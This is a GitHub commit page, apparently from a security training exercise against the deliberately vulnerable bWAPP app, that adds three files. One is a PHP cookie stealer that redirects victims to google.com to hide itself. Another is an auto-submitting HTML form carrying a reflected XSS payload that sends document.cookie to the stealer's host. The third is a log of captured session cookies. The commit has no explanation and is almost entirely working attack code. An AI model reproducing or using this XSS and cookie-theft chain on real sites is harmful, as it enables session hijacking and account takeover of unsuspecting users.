-
Notifications
You must be signed in to change notification settings - Fork 1
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
1 parent
87296ca
commit 59dc0fc
Showing
3 changed files
with
46 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,10 @@ | ||
<?php | ||
|
||
header ('Location:https://google.com');//;et the victim think as he is visiting the google.com | ||
$cookies = $_GET["c"]; | ||
$file = fopen('log.txt', 'a'); | ||
fwrite($file, $cookies . "\n\n"); | ||
|
||
|
||
|
||
?> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,16 @@ | ||
<html> | ||
|
||
<body onload="document.myForm.submit()"> | ||
|
||
<form method="GET" action="http://192.168.139.3/bWAPP/xss_php_self.php" name="myForm"> | ||
|
||
<input type=hidden name="firstname" value="<script>document.location='http://192.168.139.4/synopsys/task2/cookiesteal.php?c='+document.cookie;</script>"/> | ||
<input type=hidden name="lastname" value="hello hacker"/> | ||
<input type=hidden name="form" value="submit"/> | ||
|
||
<!-- | ||
<input type=submit name="form" id="submit" value="see magic here"/> | ||
--> | ||
</form> | ||
</body> | ||
</html> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,20 @@ | ||
|
||
|
||
PHPSESSID=7qk32ap3j9jnibr6bp8e833vj3; security_level=0 | ||
|
||
PHPSESSID=7qk32ap3j9jnibr6bp8e833vj3; security_level=0 | ||
|
||
PHPSESSID=bgt0s9f83gi6vviicfp9d13ca1; security_level=0; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada | ||
|
||
PHPSESSID=bgt0s9f83gi6vviicfp9d13ca1; security_level=0; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada | ||
|
||
PHPSESSID=bgt0s9f83gi6vviicfp9d13ca1; security_level=0; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada | ||
|
||
PHPSESSID=bgt0s9f83gi6vviicfp9d13ca1; security_level=0; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada | ||
|
||
PHPSESSID=bgt0s9f83gi6vviicfp9d13ca1; security_level=0; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada | ||
|
||
PHPSESSID=o2ggiln1tl6b6tmpllqe86vth1; security_level=0; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada | ||
|
||
PHPSESSID=o2ggiln1tl6b6tmpllqe86vth1; security_level=0; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada | ||
|